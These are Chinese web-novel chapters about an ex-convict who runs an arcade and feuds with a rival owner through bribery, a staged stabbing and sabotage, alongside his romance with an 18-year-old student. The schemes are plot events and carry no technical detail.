“嗯。”应不尘说,“那人家说你,你别打架。”
“我打什么架。”周瞳说,“我还能没你有眼力见?”
周瞳来到了应不尘学校对面的台球室,开了一桌球,好久没打台球,手生得很。
周瞳靠在吧台上问,“您老板车倒是在楼下,人在么,我是电影院那头想弄点小游戏机,过来问问规矩呢。”
“我老板在楼上,你穿过游戏厅,往里面走,他
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在里面。”服务员说。
周瞳下车提了东西就往楼上走,小皮鞋踩在地上噔噔噔的。
今天周瞳还收拾了一下子,穿过花里胡哨的游戏厅就看见了。
一个穿着马甲戴着眼睛的年轻人。
周瞳把东西搁在脚边,弓着身子问好。
老板不待见他,扭过去打游戏机,问,“你就电影院那个?”
“是。”周瞳说,“刚来这半年,看见出兑了,我想着这做买卖,得找个大哥。”
“谁特么是你大哥。”老板说,“你进的机子跟我重了,你还来认大哥?”
“家里缺钱,”周瞳说,“我老娘病着,媳妇又年纪小,到处要花钱。没办法。”
老板叼着烟站起来,瘦高的男人眼镜框反色,周瞳说,“我就整那么几个吃点儿,这是我给您拿的见面礼。”
老板踢了一脚,说,“我打听过你,一个劳改犯,劳改之前欠了一屁股的债,你想干也行,我分五成。”
周瞳直起腰来,说,“五成过了吧?”
一般这种上供吃两成都是土地庙了。
“我的规矩就这样。”老板说,“不信你能开安逸吗?你试试呗。”
“啧,”周瞳双手插兜,道,“这多没意思了,没商量了?”
“我跟你商量啥,”老板说,“你瞧你能不能开安逸不就完了吗。”
这种无非两样,一个是举报,一个是闹事。
上面也压,下面还闹,最容易出事情。
“啊,那我还是有点害怕,”周瞳拉着他衣服,说,“咱路上再商量商量。”
老板下楼撒尿,周瞳跟他站在一起,两人站着一起尿,尿完叼着烟的周瞳抖了抖。
老板接着尿说,“想好了么?”
周瞳凑近了老板,那只半瞎的眼睛露了一半灰色的瞳孔出来,盯着他说,“我想你妈呢。”
然后一溜烟开着车走了。
绕过来就是应不尘学校的后门,在这里打灯应不尘坐在窗口能看见,上次开家长会的时候周瞳看过一眼。
三下双闪,周瞳看见窗户里那个小人一溜烟就下来了。
周瞳的手伸在窗外,应不尘哒哒哒的上了车,问,“聊咋样。”
“问候了他妈,”周瞳说,“问候完就跑了。”
应不尘憋着笑,说,“那你的东西不是白给了?”
“我能那样么。”周瞳说,“我拿了两套,要是他好好的我就去换,要是给我吃脸子,我就送他一堆垃圾。”周瞳掸了烟灰,“回家?”
“嗯。”应不尘说,“店是不是明后天就开了?”
“嗯。”周瞳说,“可能会比较忙,我找了个小子给我看店。”
应不尘的背一下子打直又颓了,周瞳看着好笑。
“别作,”周瞳说,“作我揍你。”
“那你揍我好了。”应不尘别过去。“你先揍,我再作,行吗?”
“回家揍。”周瞳说,“皮总是痒呢你。”
“别的地方也痒。”应不尘说。
周瞳捻灭了烟,调笑看他,“这么骚呢?”
“你说啥呀!”应不尘说,“嘴巴痒!想跟你亲嘴咋啦!咋就骚啦!”
“我太误会了。”周瞳说,“你急啥,好好说呗。”
“我哪里骚了,瞎说八道的。”应不尘拿书把脸都遮住了。
“就许你说我骚,不许我说你呗。”周瞳手搭在方向盘上,歪着身子看他。
“你那没骨头的样儿吧。”应不尘说,“只有你自己不知道。”
周瞳整个脑袋趴在方向盘上看应不尘,他漏出一只眼睛,看见周瞳在看他又缩回去了。
“看啥呀,”应不尘拖着尾调,颇有撒娇的味道,说,“回家呀。”
“我也是有家了。”周瞳忽然感叹了一声。
周瞳拢拢头发,说,“应不尘。”
“嗯?”应不尘从书起抬起头,应了一声。
“我特渴望你就跟我这个不值钱的混子半瞎在一起。”周瞳点燃一根烟踩了脚油门,“你跑那么久,我是不是也得挣几个钱了啊?”
57. 少年心事
游戏机厅就开业了,在电影院边上,门口放了几个炮,得益于电影院边上人流大,门口拉拉杂杂的东西多,这些小孩儿每年都得来看好几次爱国电影,且游戏厅开业的时候都会多送一些币子。
头几天,相安无事。
但是没到半个月,就陆续开始出现卡机器的事儿,周瞳能自己修,倒是不耽误用,再接着,就总有人嚷嚷机器吞币子,这店是黑店。
周瞳知道,现在才开始呢。
这天,一伙儿人看着人最多的时候就来了,周瞳点了点边上的小子,小子就去报警了。
周瞳那几台苹果机呢,这会儿都还吃币子,属于灰色地带,你要说他是游戏机,他就是游戏机,你要说他是赌/博机,那游戏机本来就基本都属于赌/博。
周瞳看了一眼,这游戏厅还有小孩儿,也没管他们。
“你就是老板啊?”带头那人说,“我弟说你这机器吞他币子,找你也不好使。”
周瞳说,“这多不好意思了,游戏机厅里头就得看紧点,我今天给你多换一些,成吗?”
带头那人道,“你这机器吃币子,你这生意是不是得我们教教你咋做啊?”
“那怎么办呀?”周瞳说。
“给你长点记性。”混子丁玲桄榔的就开始推椅子,砸机器。
“里面你们不能进去啦!”周瞳瑟瑟发抖说,“里面的机器你们砸了我就完了!”
混子们立马一股脑就冲了进去。
警察也到了。
周瞳说,“警察叔叔,我店铺里有事情,咱可以报警解决的么,但是他们进来就砸东西,叫他赔,估计也赔不出,那我的损失咋办?”
“人呢。”警察问。
周瞳拉开了刚刚关上的卷帘门,说,“都在这呢。”
混子一窝蜂的跑了,警察就来了俩人,根本没地方抓。
“咋办?”周瞳问。
“跑了我们也没办法。”警察说,“你自己做生意的时候,是不是有些生意上的争执自己也没整明白呢?那么多店,偏偏砸你。”
周瞳咂摸出意思来了,说,“我自己的争执可能是没弄好,但是这店谁开都一样。我这叫报警的时候说的就是来了十来号人,实则就五六号,但是咱就派了两人来,这我觉着多少不是那个意思。”
“我们很闲吗?”警察抬起头瞥了周瞳一眼,说,“我们围着你转是吧?”
吃了那老板的米了。
“我倒也不是这个意思,”周瞳说,“我这损失这么大,您这么着也得给我弄回去你们存档个清单,弄个口供啥的呀。”
“你现在就能说。”警察眼皮都不抬,有点不耐烦。
“我机器都新的,我得找发票,找到人了按票赔给我,我晚上去找你们去呗。”周瞳说。
警察看也没看他,走了。
“给我个出警记录呗。”
那人给了周瞳一张。
周瞳他们前脚走后脚就上了车,一脚油门就踩在他们前面。
周瞳对门口的警察说,“诶,兄弟,我是华峰他哥,路上碰着他出警了,峰子让我过来找所长拿点我之前说好的东西。”周瞳甩过去一包烟,一副老板的派头,“峰子都不懂事,多照顾啊兄弟。”
华峰就是刚出警的那位,周瞳看见出警单子了。
人家指了个办公室,周瞳就上去了。
办公室没人。
周瞳把自己的出警记录包了个厚厚的红包,扔在桌子上就走了。
五成,周瞳想,五成我孝敬你的爷我都不孝敬你。
“走了啊哥。”门口的警察打招呼道。
“所长不在,我就下回再来找来。”周瞳说,“走了啊。”
“他咋在这?”俩警察看着出来的周瞳,“发票拿得这么快?”
“估计就前后脚找到了呗。”
“你咋知道人家会要呢?”应不尘问。
“简单啊,”周瞳吃着盒饭说,“要是人家不要的话,早开着警车给我送回来了。而且你不是说,那人狂么。”
“狂呢就容易看不清是谁给他饭吃。”周瞳说,“我小小店面,能上这样的孝敬。只给我一口饭吃,我也不纠缠,没啥不能要的。”
“那店里的损失咋办?”应不尘问。
“没啥损失,”周瞳说,“我自己能修,这帮人啊,怕真抓了那是得他们自己掏钱赔的,他又不是□□,就是纠着些闲散人,他一棍子敲下去,他不敲显像管不敲屏幕,就是敲玻璃,敲凳子,就是吓唬人,他们才不傻。”
“实打实的□□,”周瞳嚼着饭说,“现在都干拆迁呢,哪有功夫折腾我个小店,而且你以为□□好叫啊,叫一次就得不少钱,而且还没完没了的,人家搞的都是人命官司,谁都不想沾上他们,沾上了甩不掉,我是这样,那个老板也是这样,我店小,挨不着我。”
“你咋知道的?”应不尘问。
“号子里呗。”周瞳说,“不是跟你说了,我在里面学习呢。”
“那店可以再开,哪怕钱收了,他不还是一样红红火火的做生意,”应不尘说,“那该咋办?”
“那就给他生意搅和了呗。”周瞳说,“就兴他搅和我,不兴我搅和他呗。”
“咋搅和?”应不尘问。
“啊,这事儿你别管。”周瞳说。
“那你别跟人正面起事儿,好吗?”应不尘说。
“我起啥事儿,”周瞳咽下去最后一口饭,“你就是瞎操心,读你的书。”
应不尘躺在床上看书,周瞳在边上看闲书。
周瞳把手指塞进去应不尘嘴里,应不尘看了周瞳一眼,扔了书就坐起来亲了亲他的手指,又亲了亲手背,抱着他的手黏黏糊糊的就要进来被子,挨着周瞳。
“我翻个书,”周瞳饶有揶揄,“手干巴,翻不过去,你干啥呢?”
“你,你。”应不尘的脸歘一下又红了,转了过去,说,“我不跟你好了。”
“不是,你那是干啥呢?”周瞳过来捏着他的下巴,“嗯?”
“我没干啥。”应不尘别过头去,红着脸就要闷上被子,“明知故问。”
“我不知道,”周瞳蹭上来,胡子有两天没刮了,蹭着应不尘的脸颊,“你告诉我,好不好?”
“你,你就是又坏又装。”应不尘说,“我不理你了。”
被子里没动静了。
周瞳去探,探一寸,他挪一寸,气得在里面沉气。
应不尘偶尔会有那种十八岁少年才有的娇羞,脸皮薄的时候像个女孩儿,他好像能切换自己随时对周瞳的状态,偶尔是哭唧唧的小孩儿,偶尔是故意挑衅的棋手,也会有阴阳怪气的时刻。
在周瞳不在的岁月里,他又是风雪不改的犟种,毫无依靠地在这里迫切地疯长出枝桠,就为了让周瞳能够靠一靠。能傻乎乎的站在那里等待你回来本就是一件珍贵的事情,但是他抱着金钱玫瑰疯狂地向前奔跑。
刚回来的时候应不尘还是有些看起来的成熟,与他年纪
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不太符的成熟,但是现在时间长了,他又暴露出来那些藏也藏不住的少年心事。
周瞳起身,赤脚走往厨房,把盘子往地上一扔,啊地喊了一声。
周瞳就抱胸站在门后,等应不尘赤脚跑过来就一把从背后抱住了,“不是不理我了么?”
周瞳挠他痒痒,“逗你真好玩儿。”
“瞳哥,”应不尘转过来看他,皱眉红着脸有点不好意思的问,“真的很小吗?”
周瞳忍俊不禁,笑出声来,说,“逗你玩呢,都多少天了,还惦记这事儿?”
应不尘皱眉问,“会不会看起来,不太好看?”
“我看看。”周瞳去掰他的手,他就护着说,“你不让我看我怎么说。”
“你都看过,”应不尘说,“你都看过多少次了。”
“没仔细的品鉴一下,”周瞳说,“松手。”
应不尘不松,周瞳嘶了一声,抓着他的手腕就给他扣了,抽出腰上运动裤的绳子就给他绑起来。
“你能有什么劲儿呢,”周瞳的下巴扣在他肩膀上,三下五除二,就把他给反剪了。“到底老骨头多吃了几年饭呢。”
周瞳弹了一下,他的脸就红得像个烂柿子拼命地摇头。
周瞳在他耳边问,“我能亲亲你吗?”
应不尘的脸红透了,窝在周瞳的脸颊边,拼命去推,整个人被掰成一只待刷黄油的白鸡。
亲吻落下的时候应不尘整个人颤栗着去推,他一直往后躲藏摇头,周瞳终于放开了捂住他嘴巴的手,他说,“不行,你不行。”
“为什么不行呢,”周瞳说,“怕咬疼你?”
“不行,”应不尘说,“你,你有你的活儿,我,我有我的活儿,汪爷说的。”
一听汪爷这词儿,周瞳像被雷打了似的,皱眉说,“咱,咱这个事情,瞒着你汪爷不行吗?我...真服了。”
胀大的鼓包原来是可以瞬间没有的,神医。
“回去睡觉。”周瞳捞着应不尘就拎回去了。
“瞳哥,”应不尘玩着他的手指,说,“你睡着了吗?”
“嗯?”周瞳睡得正迷糊,转过来揽着他在怀里,鼻音着问,“咋了。”
“我觉得我空了一块儿,”应不尘说,“你填满我就不缺了。”
“你说的型号啊?”周瞳问。
“你为什么知道这个?”应不尘慌了,说,“你以前,你以前还弄过男的啊?”
“那帮败家子玩的时候听的,”周瞳说,“那会儿还有介绍我去当鸭还债的呢,男女都接,来钱快。我咋不懂。”
听到这里应不尘松了一口气,哦了一声又说,“那你没去吧?!”
邦一下就敲在应不尘的头上。
“闭嘴。”周瞳说。
“应该没去,”应不尘说,“当鸭子的都得打扮,你没打扮,那会儿你不太漂亮,你没去。”
周瞳笑了一声,说,“我要是当过鸭子,你还要吗?”
“你怎么样我都要,”应不尘的声音轻了,哑着嗓子说,“但是我可能会更恨我自己。”
周瞳在黑暗里睁开了眼睛,对上他瘪着嘴的委屈样儿,抱过来亲吻着他的额头说,“你知道为啥我急着要开店挣钱吗?其实我真的不太想动了。”
“为什么?”
“就是因为你总觉得把我拖垮了,没从前的劲儿了呗,有了你就不会难受了。”周瞳用下巴摩挲着他的脑袋,说,“哥再给你演示一遍什么叫空手套白狼。”
58. 阴阳怪气
“今天下课没拖堂?”周瞳问。
应不尘说,“拖着呢,我先走了。”
“你这样可不行。”周瞳说,“得尊重老师,我多等会儿没事儿,我愿意等。”
“不是,”应不尘说,“不知道怎么回事,学校里...有点臭。”
噗嗤一声,周瞳笑了。
“你干的?”应不尘转来转去看了一下身边没人,说,“你干的?”
“啊,”周瞳叼着根烟,说,“我那店子这两天有人找麻烦,上次那俩警察又过来了,叫着人家大名警告了,我合计应该是是时候了。”
“所以呢?”应不尘问。
“他那个楼呢,是原先的房子改的,租出来就当店面了,一般的化粪池根据这房子来弄,比如你们学校这种就大的,他这个是家用,不大点,我给他扔了个鱼雷呗。我看着时间呢,掏了有一阵了,这儿都是统一掏,而且他那个地方抽烟的,撒尿的,乱七八糟的人又多。报警了也赖不着我头上。”
“要是没报警呢,我就继续炸,要是报警呢,他得挪地方,或者重新装,他那个楼不符合营业标准,安全通道啥的都不太行。消防一查一个准,不像我们那个店,后面连着电影院,通道都没什么好查的。”
“你咋这么损呢瞳哥。”应不尘皱着眉说,“倒霉的是我们学校。”
“就是因为有你们学校。”周瞳咧着一口白牙,“他在你们学校对面,又弄成这样,你猜猜老师家长意见大不大呗。”
应不尘没去看,后来听说那屎飞了三楼高,学校里不少人都呕吐了。
好几天的味道都散不掉,但是应不尘只觉着好笑。
电影院门口也有打台球的,还不用闻那恶心人的味道,周瞳的游戏厅这几天生意火爆。
周瞳翘着脚看手表,对看店的小孩儿说,“我出去接我家那祖宗去,你看着点,辛苦。”
周瞳留意着来玩的人,其实来玩的跟来闹的来踩点的特别好分辨。
来玩的就是直勾勾的奔着机器就去了,踩点儿的都会左摇右摆的到处瞎看。
周瞳每次都把车停在后门,应不尘早早地就能看见他到了。
能看见他站在车边插兜等他,跟他招手。
有时候也会看见他开好几下双闪。
“你男朋友天天都送你。”应不尘的同桌说。
“嗯,”应不尘心不在焉的,“他其实挺忙的。”
“好像从来不迟到。”同桌往外看,周瞳的车早到了。
他就站在车门边上,歪在那里。
“你男朋友就很...”同桌说。
“很什么?”应不尘问。
“不知道咋说,就是那种绅士一样的流氓,流氓一样的绅士,”同桌挠挠头,说,“好奇怪的搭配。昨天你去老师那,然后我们班的人都出去了,他们就在讲这是你哥,你哥就跟我们打招呼,问我们,我们家应不尘怎么还没有下来。”
“我们就跟他说你还在老师这里,一会儿就会下来了,他就请我们喝饮料,然后正好有个校外青年追我们班的女生呢,就那个珊珊啦,然后珊珊不愿意跟他去角落说话,你男朋友就过来了,把珊珊护在后面,说那个男的,好声好气的跟他说。约小姑娘小姑娘不愿意跟你去,就该绅士一点儿。那个男的就不服,说是不是你哥看上了珊珊,他可以让给你哥,珊珊都要哭了,你哥对那个男的说,”同桌学起周瞳说话来,“我看上你了,你跟我约呗,走,现在就约去,你吗个逼的净能造谣,给你逼嘴撕了。”
应不尘噗嗤一下就笑了,说,“后来呢。”
“你哥掐着他脖子就走了,回来跟珊珊说,他每天都来接你,帮她看着,叫她别怕,有事儿就跟他说也成,跟你说也成。”同桌说,“他就一会儿一个样子,护珊珊的时候像个大哥哥,骂人的时候像个臭流氓。”
“还问我呢,你在学校好不好,”同桌说,“珊珊可能要喜欢你哥。”
应不尘合上本子,等着下课铃,说,“喜欢也没用。”
同桌说,“他平常骂你吗?”
“骂,”应不尘说,“老骂我,骂的比那个难听多了。叫我滚。”
“啊?”同桌说,“那你也能忍?”
“不忍怎么办,千辛万苦追到的。”应不尘已经收拾完书包了。
“可是我看你不像能忍的人呀。”同桌说,“别人都说你连自己爹都骂。”
“我硬不过他,他还打我呢。”应不尘说。
“打你啊?”同桌说,“这看不出来呀。”
应不尘没觉得这是败坏周瞳的名声,说,“我有一段时间回来,就上个学期,开学没多久我回来的时候,脸肿了好多天,拖鞋打的,就他打的。”
应不尘那时候跟周瞳表白,让暴揍了。
“啊?”同桌诧异地说,“别人都说是你爸打的!”
“他打的,”应不尘说,“他不是好人。”
今天周瞳觉得怪怪的,应不尘的同桌一溜烟的就跑了。
“你这小同桌看见我跟看见瘟神似的,”周瞳给应不尘拉开门,接过他的书包,“累不累啊今天。”
“不累。”应不尘说,“去店里还是回家呀?”
“去店里吧,我感觉最近有些人老瞎溜达。”周瞳说。
“太晚了就住店里呗。”应不尘说。
“床小,你睡得不舒服,”周瞳说,“要么你回去睡。”
“我哪里都能睡。”应不尘说,“你感觉店里要出事呀?”
“说不准呢,”周瞳摸摸他的头,“不用操心。”
应不尘说,“怕你吃亏。”
周瞳笑着说,“你瞳哥跟他吃素的?”
“嘿嘿,”应不尘乐了一下,说,“瞳哥,那你为啥那会儿欠钱的时候没现在这狠劲儿呢?”
“那能一样吗?”周瞳说,“本来就是我的债,对面都是工人,我为难他们干啥嘛,我做生意的那几个,是我求人家赏饭吃,给我吃的我还砸人家饭碗,这不合适。”
“现在这个,”周瞳说,“砸了我三回了嗷,我都没咋滴他。我又不欠他钱,他但凡跟我好说好商量的,都是小事儿,各凭本事呗,上来就要当我爹,谁惯他臭毛病。”
“店里是有什么异常吗?”应不尘问。
“我的电线叫人动了,”周瞳搓着方向盘,说,“我之前就是因为火败的家,又学了修电器,他一动我的电线我就知道了。”
“之前那家私拉电线,他舍不得花钱,阻断器那些用的也是铜丝,我估摸着他是知道这毛病,所以找人来动了我电线,想让我大半夜的来个电起火,”周瞳打着方向,快到了,“他胆小,不敢用明火,怕伤人,毕竟边上是电影院,烧了可不是小事。我这三相电供个游戏厅绰绰有余,换两相电我这自动就跳了。”
“所以我电线动了好几回,他也没法子,”周瞳说,“我感觉他要急眼了。你们那味道是不是散差不多了,我得再去炸一手。”
“那他要是跟你没完了呢?”应不尘问。
“那感情好啊。”周瞳眨巴了一下眼睛说,“我等着呢。”
“我都说晚上还要上自习,”应不尘说,“你还要来接,我就在学校吃饭就等晚上一块儿回来就好了呀。”
“行,”周瞳说,“那我以后都早上送晚上接,咱就一天见一面行吧。”
“那个...”应不尘说,“我这不是怕你麻烦吗?你不麻烦我又不怕麻烦,我巴不得一天见你八百次。”
“净整虚头巴脑的。”周瞳拎着饭,招呼店里的小子过来一起吃。
“小厉,这我祖宗。”六个字介绍完了。
游戏厅在一条狭长的弄子里,稍微前面查的严了后面都是易守难攻的状态,完全够时间把机器全部转移。
现在整个店子都点了灯,不少人在玩,除了有点吵。
吵就是生意好,跟饭店脏一个道理。
三人坐在吧台上吃饭。
“你好。”小厉对应不尘说。
应不尘这厮不知道又在心思啥。
周瞳瞟了一眼应不尘。
应不尘咂咂嘴,坐正了,露出一个友善的笑容,说,“你好呀,在这里上班辛苦你看顾了,我们多相处,多包容,相逢是缘。”
周瞳说,“碎嘴子。”
周瞳吃完了饭就叼着牙签在游戏厅溜达,里面新置上了一些机器,龙机,金葫芦,大富翁,快艇大作战,都是在里面的东西,外面也玩不着。
这些机器都有干扰的上分锁,明白了道理就能吃钱。
“老板总叫你祖宗。”小厉挠挠头说,“我也不知道叫你啥。”
“小尘,”应不尘抬起头来,说,“叫我小尘就可以。”
“老板每次看着时间去接你,”小厉说,“你下课的时候其实我们生意特别好,忙不过来,但是老板说,祖宗发威他小命难保。”
应不尘有一丝小小的得意,又佯装没什么的样子,说,“他老乱说。”
“之前店叫砸了,老板自己修东西弄了不少钱。”小厉说,“老板说人要紧,只要我跑了,店无所谓砸不砸的,开这种店不砸个几次开不了。老板人很好说话的。”
“嗯,”应不尘说,“别让他们碰到你就行,要是有啥事,你看着他一点。”
“老板总说你。”小厉说。
“说啥啦?”应不尘问。
小厉犹豫了一下,说,“做饭难吃,特别抠。”
应不尘吃完了最后一口饭,喊,“周——瞳!”
“喊啥呀。”周瞳插着兜过来了,嘴里吹着一个泡泡糖。
“我就剩下,做饭难吃,跟特别抠这两件事了吗?”应不尘问。
周瞳说,“别喊我大名,怎么着了似的。”
“为啥我不能喊你大名啊?”应不尘问。
“不亲呢。”周瞳插着兜,揽着应不尘往外走。
“那你叫我全名的时候我也没觉得不亲呢。”应不尘说。
“我要么就是小周,要么就是周老板,你管我叫哥,叫瞳哥,在号子里,除了编号就是全名,听见就发怵。”周瞳说,“明白了?”
应不尘扁扁嘴,说,“我没想到的。”
“有啥呀,”周瞳说,“还早呢,回去歇会儿?这也这么吵,到点了他们得回去吃饭,没啥事儿。”
“瞳哥,”应不尘说,“我过两天学校比赛,早上出去,隔一天晚上回来,跟学校的人一起。”
“去呗。”周瞳说,“比赛好玩吗?”
“不好玩。”应不尘说,“我本来不想去的,还得出去,懒得出去。”
“正常一点。”周瞳倒了杯水给应不尘,“别老整那粘死人的劲儿,一天也出去不得。”
应不尘哦了一声,“
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是,我是粘人,我又不像你,看不见我几天跟没事儿人一样,小时候就这样,现在也这样,嫌我粘人,行,我比赛去。”
周瞳掐着他脖子说,“你再给我整这阴阳怪气的死动静,我给你屁股干烂,听见没有。”
被骂了,舒服了。
应不尘圈在他身上又跟个猴儿似的,“瞳哥,你亲亲我呗。”
“亲了亲了。”周瞳啄了他一口,低头看游戏机的说明书。
应不尘一会儿倒着凑过来看他,一会儿正着坐在凳子上看他,一会儿蹲沙发上面看起来跟蹲在他头顶似的看他,一会儿把脑袋塞进说明书上面看他。
“咋这么烦人呢你,”周瞳笑着推他,说,“到点了,赶紧,我送你去学校去。”
“那你说的事儿,晚上回来吗?”应不尘玩着他的手问。
“啥事儿啊?”周瞳早忘了。
“你说阴阳怪气的事!”应不尘说,“你咋话说出来就直接没了?”
周瞳没想起来,应不尘自顾自走了,路上也不跟他说话。
到底啥事儿啊?
晚上周瞳刚送完应不尘到学校,就有人叫住了他。
“周老板最近生意兴隆?”老板身后有几人,叫住了周瞳。
“还成吧。您咋样啊?”周瞳问。
“我生意可就一落千丈咯。”老板说,“拜您所赐。”
“跟我还客气啥,”周瞳说,“咱都一家人。”
“谁特码跟你一家人?”那老板道,身后几人已然要上来围攻。
“我不是你爹吗?我上次让你代我问候你妈了。”周瞳摊摊手。
“你他妈的,草。”那老板喊了人一拥而上。
众人不带武器,赤手空拳就要上来痛扁周瞳。
周瞳掏出来一把刀,对着那人威胁,“你敢打我我今天捅死你。”
结果一群人七手八脚的就把刀给抢了。
那老板捡起地上的刀,一步一步地往周瞳走来,转着手里的小刀,问,“就他妈你,你敢把我捅死?你吓唬谁呢?”
“你把刀给我,我就捅死你。”周瞳被按住,无法动弹。
老板蹲下了,用小刀划过周瞳的脸颊,有股子唬人的劲儿,周瞳笑嘻嘻的说,“我给你妈妈草爽了是不,要不跟我一起草你妈呢,给你妈的逼撕了。”
老板站起身来猛踹一脚,周瞳抓住他的脚,重重一拳打在他身上,他一个踉跄差点没站稳,周瞳往学校前面跑,回头嘻嘻笑,老板在后面追,“老子他妈今天捅死你!草!”
学校的人都出来看,周瞳在拐过的弄子里猛然停下老板回神一撞,那刀就扎入了周瞳的皮肉。
保安出来了,警车也来了。
全部人都看见了,那老板要捅死周瞳,且一刀扎了人,
老板被警察抓走了,应不尘疯跑出来,看见周瞳躺在边上。
“瞳哥!”应不尘扑了上去。
“过,过来点。”周瞳捂着胸口。
应不尘的手一直颤抖,看着周瞳的血不敢说话,凑近了抖着声线叫,“瞳...瞳哥。”
“我...啊...”周瞳在靠近的时候啵唧一口亲在他脸上,眨了下眼睛,“做戏全套啊,嘘。”
周瞳的手伤了,对面更麻烦,聚众斗殴寻衅滋事加故意伤人。
学校边上都围观着,保安也看见了,唯有那个弄堂的死角没人看见,但是足够了。而那把刀,是他一杆子把台球布捅烂了,工作人员修的时候拿的他们家的一把美工刀,美工刀那么多,根本没人注意。
不长不短,吓人刚好。
上面还有许多他家店员的指纹,混上周瞳的,压根说不清楚。
周瞳简单的做了笔录,签了字,就看见了站在外面的应不尘。
“那你也不能把手弄伤了呀,”应不尘眼睛红红的,从医院出来就在反复看,说,“你看现在怎么办,手坏了。”
“不耽误,吓着你了?”周瞳摸摸他的脸问。
“你这不伤敌一千自损八百呢。”应不尘说。
“顶多一百行吗?”周瞳说,“我看清楚了抓的,我又不傻,真让他捅我呀,他看见我就后退了,但是没办法,被我抓到了。”
“我猜他不敢捅我,不然不会赤手空拳就来了,想给我装个麻袋打了,”周瞳说,“这几下子,去宜华都不够看。”
“那你也不能这样啊,”应不尘说,“你都要吓死我了,疼不疼?”
“疼啊。”周瞳说嘶了一声,说,“咋办,答应你的那阴阳怪气的事儿,得缓缓了。”
“你咋这么不正经呢!”应不尘脸都红了,打了他一下。
应不尘学校对面的游戏厅关门了,周瞳这边生意倒是做的好。
进进出出不少人,都是来送钱的。
“你手坏了就休息呗,”应不尘说,“不用非送我上学。”
“不行,”周瞳说,“你那个爹没个好,我得看着你我才放心。从前他有钱,不能找你什么事儿,现在没了,没钱啥都能干出来,留个心眼儿的事。”
“那你好辛苦。”应不尘说。
“我就瞎溜达看看有啥辛苦的,整几个破游戏机。”周瞳说,“行啦,去上学去吧。”
周瞳整了张躺椅睡在店子门口,醒了就在那散烟,给小孩儿多换几个币,拎了不少热水壶过去,这东西可真挣钱。
59. 慢慢长大
今天应不尘比赛去了,一大清早送上学校的大巴车就走了,走的时候碎嘴子墨迹了好多话,无非就是手要咋样要咋样要咋样,听得周瞳直挠头。
周瞳回来他的游戏厅,那边事儿消停了,生意好了不老少。
“小厉。”周瞳叫他。
“嗯?”小厉刚打扫完卫生,马上就要开门了。
“我给你加点钱。”周瞳说,“生意好你就这么点工资不成,多你费心,有啥事跟人家好好说,整不明白就打我手机。”
周瞳转过来说,“店里的钱呢混来混去的,你帮我多看着点,反正机器出币子都有准数,这事儿我不多说,但是店里营业额上来,我就给你加工资,别的我也不跟你唠了。”
小厉拿着块抹布,问,“生意越好,我工资越高?”
“嗯,”周瞳说,“简单来说就这么回事,我呢,我祖宗是要出去上学的,我得跟他去,到时候明年不到九月,我这厅就得兑出去,我希望你多拢点生意,你攒点钱我就便宜兑给你,但是我这店子要是生意不好的话,我也没法子,兑也兑不出去,成吗?”
“兑给我?”小厉问。
“那我兑给谁?”周瞳说,“这买卖前面难弄的东西都弄完了,反正就那几下子你也知道了,能说得准吗?”
小厉低头擦机器,来了客人更卖力了,以后这些都是自己的客源。
周瞳就拉了个躺椅在后面晒太阳,应不尘猛然一走,真是冷清了。
周瞳出来个诺基亚,想给应不尘发消息,但是他俩其实很少发消息,从前应不尘说,他俩差了很大的年纪,希望周瞳有事都在吃饭的时候说,他俩就能说说这些事,应不尘的都是些学校的事,周瞳都是社会的事,我嫌你事儿小,我嫌你事儿多,都藏着不说路就走散了。
应不尘这会儿是不是在比赛呢。
周瞳坏了一只手,仰着手看,倒是也没啥大事儿,就是捏住的时候容易疼,这么点伤被应不尘当祖宗一样供着,要是他知道从前他住汪奶奶去的那一段,他被要债的打啥样,估计人都要疯了。
中午吃饭的时候周瞳心不在焉。
小厉倒是因为周瞳说了那些话之后对来的客人大的小的都客气得不行,就比应不尘大了一点儿,就有容人的脾性了,不像自己家里那小子,一点就要炸毛。
“老板,”小厉买了盒饭回来,“你看起来不太高兴,咋了?”
“有吗?”周瞳拿筷子戳饭,说,“没咋呀。”
“是小尘不在,你都没心思吃饭了。”小厉说,“明天还是后天就回来了吧?”
“嗯,”周瞳说,“让他好好比赛。”
“我们厅里也有小尘的同学来,家长来抓的时候就说来问小尘题目呢,”小厉说,“可招笑了。”
“他们这个年纪都爱玩这个,”周瞳说,“他不喜欢,他就读书,碰也不碰。”
“我问过小尘呢,为啥不爱玩这些,家里的不是随便玩,币子都是自己家的,”小厉吃着最后一口饭,“他们学校的来了也拉他一起玩,但是小尘从来也不玩,我问他呢,他说打游戏机是个这年纪的就都喜欢,但是这种喜欢是可以克制的,不能克制的是他想早点儿把书读出去。”
“我说小尘真厉害,这都能控制,”小厉说,“我妈之前说别人家的孩子咋样咋样的,我都不服,我觉得大家不都这样,看完小尘...”
周瞳一撇钥匙,打断了,“这两天,你看着店吧。”
有什么是能克制的,有什么是不能克制的呢?
周瞳套上了件黑夹克,在车子胡乱的刮了下胡子,拎着个保温杯就往省城出发。
上回来的时候还是拉大车,这一路上高速公路都已经修的跟从前完全不一样了,要是真的对时间有一个明确的感知,或许就是现在,是这条他拉过数不清多少次的路,他一个人在旅程上看着那些早已经腻了风景,唯一能记得住的就是自来水厂发了第一笔款子的时候他带应不尘来这里。
去往省城的路有点远,周瞳也没吃什么东西,那小子走前还抓着他的手跟个妈似的墨迹,把他的衣服都一套套的洗好放起来,说等他回来再洗澡,要是发炎了还得去医院。
周瞳捏住了方向盘,往省城呼啸而去。
应不尘比赛的地方在省城的一个学校,什么比赛么周瞳也不知道,反正就是去考试呗,考完了老师给讲一讲试卷。
在一个文理学校,挂了很多横幅,里面比赛好像已经开始了,不少家长都等在门口。
等周瞳到的时候,好像已经快结束了。
家长们互相发烟,这里的都是有出息的孩子。
周瞳边上也站了一个叔,说,“你也来等孩子?”
“嗯呢。”周瞳给他发了根烟,说,“啥会儿完事啊?”
“早呢,”叔说,“他们考完直接就出分数了,带队的老师还要讲试卷。”
“那咋都等着呢?”周瞳眯着眼睛抽烟。
“都这样,好不容易培养出来一个,来比赛了哪有心思到处溜达,都站在这里守着。”叔说,“你家孩子是哪个学校的。”
“新春四中的。”周瞳说。
“我家孩子也是,”叔跟他握手,“你家孩子叫啥?”
“应不尘。”周瞳说。
“应不尘啊,我知道,我们家孩子回来老说,我家孩子叫黄飞飞。”老叔一脸骄傲的等待周瞳说下文。
“啊,飞飞爸爸,”周瞳一脑门子去想这啥孩子我咋知道,突然想起来那个光荣榜,说,“我上回还看见光荣榜呢,飞飞就在上面,咱还说这孩子培养得真好。”
